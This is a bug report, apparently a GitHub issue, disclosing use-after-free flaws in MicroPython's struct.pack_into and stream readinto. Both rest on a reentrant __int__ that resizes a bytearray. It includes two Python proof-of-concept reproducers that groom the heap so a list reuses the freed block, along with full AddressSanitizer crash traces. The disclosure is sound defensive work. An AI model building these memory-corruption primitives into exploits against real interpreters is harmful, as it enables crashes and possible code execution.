Skip to content

Reentrant integer conversion leaves stale writable buffer pointers #19755

Description

@yet-another-agent

Port, board and hardware

Unix port on Linux ARM64.

MicroPython version

MicroPython a129b2fba1 on 2026-10-10; linux [GCC 14.2.0] version (a129b2fba1a3348088c94d0462eef16d20874dea)

Summary

struct.pack_into and stream readinto obtain a writable buffer pointer before converting a user object to an integer. The conversion callback can resize the bytearray, after which the operation writes through the old pointer.

Build: VARIANT=coverage with the repository's official ASan flags: -fsanitize=address --param asan-use-after-return=0 -DMP_ASAN=1.

Reproduction

struct.pack_into writes through a pointer invalidated by __int__

import struct

buf = bytearray(8)
victim = None


class Evil:
    def __int__(self):
        global buf, victim
        buf.extend(b"B" * 1024)  # reallocates and frees the original data pointer
        victim = [123]  # list items array often reuses the freed block
        return 0

struct.pack_into('<I', buf, 0, Evil())
print(victim[0])

Observed: SUMMARY: AddressSanitizer: SEGV ../../py/obj.c:574 in mp_obj_subscr

Complete ASan output
AddressSanitizer:DEADLYSIGNAL
=================================================================
==58==ERROR: AddressSanitizer: SEGV on unknown address 0xaaaa00000012 (pc 0xaaaaafd005e8 bp 0xffffc42899f0 sp 0xffffc42899f0 T0)
==58==The signal is caused by a READ memory access.
    #0 0xaaaaafd005e8 in mp_obj_subscr ../../py/obj.c:574
    #1 0xaaaaafd5e560 in mp_execute_bytecode ../../py/vm.c:462
    #2 0xaaaaafd10c64 in fun_bc_call ../../py/objfun.c:294
    #3 0xaaaaafcf0618 in mp_call_function_n_kw ../../py/runtime.c:719
    #4 0xaaaaafcf4720 in mp_call_function_0 ../../py/runtime.c:693
    #5 0xaaaaafe7a60c in parse_compile_execute ../../shared/runtime/pyexec.c:137
    #6 0xaaaaafe7b774 in pyexec_file ../../shared/runtime/pyexec.c:739
    #7 0xaaaaafe703f0 in do_file /src/ports/unix/main.c:269
    #8 0xaaaaafe71a18 in main_ /src/ports/unix/main.c:692
    #9 0xaaaaafe72000 in main /src/ports/unix/main.c:452
    #10 0xffffbb262258  (/lib/aarch64-linux-gnu/libc.so.6+0x22258) (BuildId: 4c1eca4527d1163b2dde55860b69f270158febb4)
    #11 0xffffbb262338 in __libc_start_main (/lib/aarch64-linux-gnu/libc.so.6+0x22338) (BuildId: 4c1eca4527d1163b2dde55860b69f270158febb4)
    #12 0xaaaaafcaccac in _start (/workspace/work/micropython-current/ports/unix/build-asan-linux-official/micropython+0x19ccac) (BuildId: d745232daadafece431463287d3aa5e506209b85)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/obj.c:574 in mp_obj_subscr
==58==ABORTING

Stream readinto writes through a pointer invalidated by limit conversion

import io

buf = bytearray(64)
bio = io.BytesIO(b"A" * 128)


class Limit:
    def __int__(self):
        global victim
        buf.extend(b"B" * 128)  # grow buffer so mp_get_buffer's pointer goes stale
        victim = [1, 2, 3, 4]  # reuse the freed chunk
        return 64


bio.readinto(buf, Limit())  # mp_get_buffer + mp_obj_get_int reenter
print(victim)

Observed: SUMMARY: AddressSanitizer: SEGV ../../py/obj.c:128 in mp_obj_print_helper

Complete ASan output
AddressSanitizer:DEADLYSIGNAL
=================================================================
==85==ERROR: AddressSanitizer: SEGV on unknown address 0x28283828282829 (pc 0xaaaac457d7f0 bp 0xffffd0c837d0 sp 0xffffd0c837d0 T0)
==85==The signal is caused by a READ memory access.
    #0 0xaaaac457d7f0 in mp_obj_print_helper ../../py/obj.c:128
    #1 0xaaaac45cacf4 in mp_builtin_print ../../py/modbuiltins.c:424
    #2 0xaaaac45909c0 in fun_builtin_var_call ../../py/objfun.c:118
    #3 0xaaaac4570618 in mp_call_function_n_kw ../../py/runtime.c:719
    #4 0xaaaac45d7c20 in mp_execute_bytecode ../../py/vm.c:984
    #5 0xaaaac4590c64 in fun_bc_call ../../py/objfun.c:294
    #6 0xaaaac4570618 in mp_call_function_n_kw ../../py/runtime.c:719
    #7 0xaaaac4574720 in mp_call_function_0 ../../py/runtime.c:693
    #8 0xaaaac46fa60c in parse_compile_execute ../../shared/runtime/pyexec.c:137
    #9 0xaaaac46fb774 in pyexec_file ../../shared/runtime/pyexec.c:739
    #10 0xaaaac46f03f0 in do_file /src/ports/unix/main.c:269
    #11 0xaaaac46f1a18 in main_ /src/ports/unix/main.c:692
    #12 0xaaaac46f2000 in main /src/ports/unix/main.c:452
    #13 0xffff9fa62258  (/lib/aarch64-linux-gnu/libc.so.6+0x22258) (BuildId: 4c1eca4527d1163b2dde55860b69f270158febb4)
    #14 0xffff9fa62338 in __libc_start_main (/lib/aarch64-linux-gnu/libc.so.6+0x22338) (BuildId: 4c1eca4527d1163b2dde55860b69f270158febb4)
    #15 0xaaaac452ccac in _start (/workspace/work/micropython-current/ports/unix/build-asan-linux-official/micropython+0x19ccac) (BuildId: d745232daadafece431463287d3aa5e506209b85)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/obj.c:128 in mp_obj_print_helper
==85==ABORTING

Expected behaviour

The operation should complete safely or raise a Python exception without terminating the interpreter.

Observed behaviour

Each reproducer terminates the interpreter under AddressSanitizer in 3/3 runs.

Additional information

No exploitability claim is intended; these are interpreter robustness failures reachable from Python code.

Tracking references: MicroPython-18, MicroPython-27.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions